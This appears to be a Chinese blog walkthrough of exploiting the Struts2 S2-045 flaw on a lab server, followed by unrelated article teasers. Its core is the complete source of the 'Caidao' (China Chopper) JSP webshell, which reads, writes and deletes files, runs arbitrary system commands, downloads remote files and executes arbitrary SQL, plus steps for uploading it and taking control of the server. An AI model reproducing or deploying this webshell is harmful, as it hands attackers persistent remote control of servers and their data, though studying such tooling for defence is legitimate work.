s2-045漏洞还原

news/2024/9/23 14:28:59

1.环境准备,本地server2003 环境

对应网址http://192.168.116.112:8080/struts2-showcase/showcase.action

2.使用在线工具包扫描漏洞信息

输入对应的url检测

发现存在对应漏洞

选择对应漏洞,可执行对应系统命令

 

上传自带木马文件(复制tmp.jsp内容,上报到对应目录下C:\jspstudy\WWW)

点击上传

 访问刚才上传的文件,可以通过小马,上传自定义木马文件

 菜刀木马

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "1";String EC(String s, String c) throws Exception {return s;}//new String(s.getBytes("ISO-8859-1"),c);}Connection GC(String s) throws Exception {String[] x = s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();Connection c = DriverManager.getConnection(x[1].trim());if (x.length > 2) {c.setCatalog(x[2].trim());}return c;}void AA(StringBuffer sb) throws Exception {File r[] = File.listRoots();for (int i = 0; i < r.length; i++) {sb.append(r[i].toString().substring(0, 2));}}void BB(String s, StringBuffer sb) throws Exception {File oF = new File(s), l[] = oF.listFiles();String sT, sQ, sF = "";java.util.Date dt;SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for (int i = 0; i < l.length; i++) {dt = new java.util.Date(l[i].lastModified());sT = fm.format(dt);sQ = l[i].canRead() ? "R" : "";sQ += l[i].canWrite() ? " W" : "";if (l[i].isDirectory()) {sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");} else {sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";}}sb.append(sF);}void EE(String s) throws Exception {File f = new File(s);if (f.isDirectory()) {File x[] = f.listFiles();for (int k = 0; k < x.length; k++) {if (!x[k].delete()) {EE(x[k].getPath());}}}f.delete();}void FF(String s, HttpServletResponse r) throws Exception {int n;byte[] b = new byte[512];r.reset();ServletOutputStream os = r.getOutputStream();BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));os.write(("->" + "|").getBytes(), 0, 3);while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.write(("|" + "<-").getBytes(), 0, 3);os.close();is.close();}void GG(String s, String d) throws Exception {String h = "0123456789ABCDEF";int n;File f = new File(s);f.createNewFile();FileOutputStream os = new FileOutputStream(f);for (int i = 0; i < d.length(); i += 2) {os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));}os.close();}void HH(String s, String d) throws Exception {File sf = new File(s), df = new File(d);if (sf.isDirectory()) {if (!df.exists()) {df.mkdir();}File z[] = sf.listFiles();for (int j = 0; j < z.length; j++) {HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());}} else {FileInputStream is = new FileInputStream(sf);FileOutputStream os = new FileOutputStream(df);int n;byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}is.close();os.close();}}void II(String s, String d) throws Exception {File sf = new File(s), df = new File(d);sf.renameTo(df);}void JJ(String s) throws Exception {File f = new File(s);f.mkdir();}void KK(String s, String t) throws Exception {File f = new File(s);SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt = fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d) throws Exception {URL u = new URL(s);int n;FileOutputStream os = new FileOutputStream(d);HttpURLConnection h = (HttpURLConnection) u.openConnection();InputStream is = h.getInputStream();byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb) throws Exception {String l;BufferedReader br = new BufferedReader(new InputStreamReader(is));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}}void NN(String s, StringBuffer sb) throws Exception {Connection c = GC(s);ResultSet r = c.getMetaData().getCatalogs();while (r.next()) {sb.append(r.getString(1) + "\t");}r.close();c.close();}void OO(String s, StringBuffer sb) throws Exception {Connection c = GC(s);String[] t = { "TABLE" };ResultSet r = c.getMetaData().getTables(null, null, "%", t);while (r.next()) {sb.append(r.getString("TABLE_NAME") + "\t");}r.close();c.close();}void PP(String s, StringBuffer sb) throws Exception {String[] x = s.trim().split("\r\n");Connection c = GC(s);Statement m = c.createStatement(1005, 1007);ResultSet r = m.executeQuery("select * from " + x[3]);ResultSetMetaData d = r.getMetaData();for (int i = 1; i <= d.getColumnCount(); i++) {sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");}r.close();m.close();c.close();}void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {int i;Connection c = GC(s);Statement m = c.createStatement(1005, 1008);try {ResultSet r = m.executeQuery(q);ResultSetMetaData d = r.getMetaData();int n = d.getColumnCount();for (i = 1; i <= n; i++) {sb.append(d.getColumnName(i) + "\t|\t");}sb.append("\r\n");while (r.next()) {for (i = 1; i <= n; i++) {sb.append(EC(r.getString(i), cs) + "\t|\t");}sb.append("\r\n");}r.close();} catch (Exception e) {sb.append("Result\t|\t\r\n");try {m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");} catch (Exception ee) {sb.append(ee.toString() + "\t|\t\r\n");}}m.close();c.close();}%><%String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";request.setCharacterEncoding(cs);response.setContentType("text/html;charset=" + cs);String Z = EC(request.getParameter(Pwd) + "", cs);String z1 = EC(request.getParameter("z1") + "", cs);String z2 = EC(request.getParameter("z2") + "", cs);StringBuffer sb = new StringBuffer("");try {sb.append("->" + "|");if (Z.equals("A")) {String s = new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s + "\t");if (!s.substring(0, 1).equals("/")) {AA(sb);}} else if (Z.equals("B")) {BB(z1, sb);} else if (Z.equals("C")) {String l = "";BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}br.close();} else if (Z.equals("D")) {BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");} else if (Z.equals("E")) {EE(z1);sb.append("1");} else if (Z.equals("F")) {FF(z1, response);} else if (Z.equals("G")) {GG(z1, z2);sb.append("1");} else if (Z.equals("H")) {HH(z1, z2);sb.append("1");} else if (Z.equals("I")) {II(z1, z2);sb.append("1");} else if (Z.equals("J")) {JJ(z1);sb.append("1");} else if (Z.equals("K")) {KK(z1, z2);sb.append("1");} else if (Z.equals("L")) {LL(z1, z2);sb.append("1");} else if (Z.equals("M")) {String[] c = { z1.substring(2), z1.substring(0, 2), z2 };Process p = Runtime.getRuntime().exec(c);MM(p.getInputStream(), sb);MM(p.getErrorStream(), sb);} else if (Z.equals("N")) {NN(z1, sb);} else if (Z.equals("O")) {OO(z1, sb);} else if (Z.equals("P")) {PP(z1, sb);} else if (Z.equals("Q")) {QQ(cs, z1, z2, sb);}} catch (Exception e) {sb.append("ERROR" + ":// " + e.toString());}sb.append("|" + "<-");out.print(sb.toString());
%>

  

 上传成功,如下图

 可通过菜刀连接工具,控制对方服务器

 

填写刚才上传的222.jsp,控制对方服务器

 连接成功

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/46780.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

以opencv为例说明cmake中的findpackage()

大多数第三方库为了适配cmake都会提供XXXConfig.cmake文件,在opencv中是OpenCVConfig.cmakefindpackage()是在环境变量中的XXXConfig.cmake文件,在引用opencv时是在找OpenCVConfig.cmake,对应与引用opnecv时的 find_package(OpenCV REQUIRED) 注意大小写与OpenCVConfig.cmak…

2024/6/23 本周总结

DemoFusion: Democratising High-Resolution Image Generation With No $$$2024/5/11 任意尺度超分 生成一个\(K\)倍大小的图像,需要边长扩大为\(\sqrt{K}\),就是从潜在空间(latent sapce)\(\mathbb{R}^{c\times h\times w}\)到目标空间\(\mathbb{R}^{c\times{H}\times W}\),…

zotero的同步设置问题

zotero作为阅读文献的神器,同步是非常重要的一个功能。结果,今天打开zotero发现笔记不见了,这可是我将近两个月的笔记啊。先是换成了最新版的zotero7bete版本,然后试了下文件同步,还是没有看到笔记,最后还设置了下本机的文件夹,后来还是在文库的未分类条目下找到了笔记,…

pkg-config

一、pkg-config pkg-config是一个命令行工具,主要用于帮助开发者在编译依赖于特定库的软件时,自动获取和设置正确的编译器选项和链接器选项。它的主要作用在于简化编译过程,确保程序能够正确地找到所需的头文件和库文件,尤其是在库文件可能安装在非标准位置的情况下。 pkg-…

2024年6月计算机视觉论文推荐:扩散模型、视觉语言模型、视频生成等

6月还有一周就要结束了,我们今天来总结2024年6月上半月发表的最重要的论文,重点介绍了计算机视觉领域的最新研究和进展。 Diffusion Models 1、Autoregressive Model Beats Diffusion: Llama for Scalable Image GenerationLlamaGen,是一个新的图像生成模型,它将原始的大型…

COLA架构初始化DDD项目

使用COLA脚手架初始化项目 实战代码:https://gitee.com/XuXiaoCong/cola-springboot-demo COLA项目地址:https://github.com/alibaba/COLA BiliBili视频创建项目使用COLA脚手架(Maven)创建COLA项目DgroupId: 公司/组织名称 DartifactId:项目名称 Dversion:版本号 Dpackage:…

试用了下WPS定制版,真香!

告别广告和弹窗!告别广告和弹窗! 前言 现在办公/日常使用基本上都是离不开 office 三件套的了。我个人也曾购买过微软的 office 三件套,WPS 会员版: ​ ‍ ‍ ​ ‍ ‍ 随着消费降级, 使用一段时间后,我发现我根本用不上什么高级的功能,感觉不划算,几百块钱下馆子不香吗…

HarmonyOS应用开发——Hello World

下载 HUAWEI DevEco Studio: https://developer.harmonyos.com/cn/develop/deveco-studio/#download同意,进入配置页面:配置下载源以及本地存放路径,包括nodejs和ohpm:配置鸿蒙SDK路径:接受协议:确认无误后,点击下一步,开始自动下载有关环境以及依赖:全部下载完成,点击…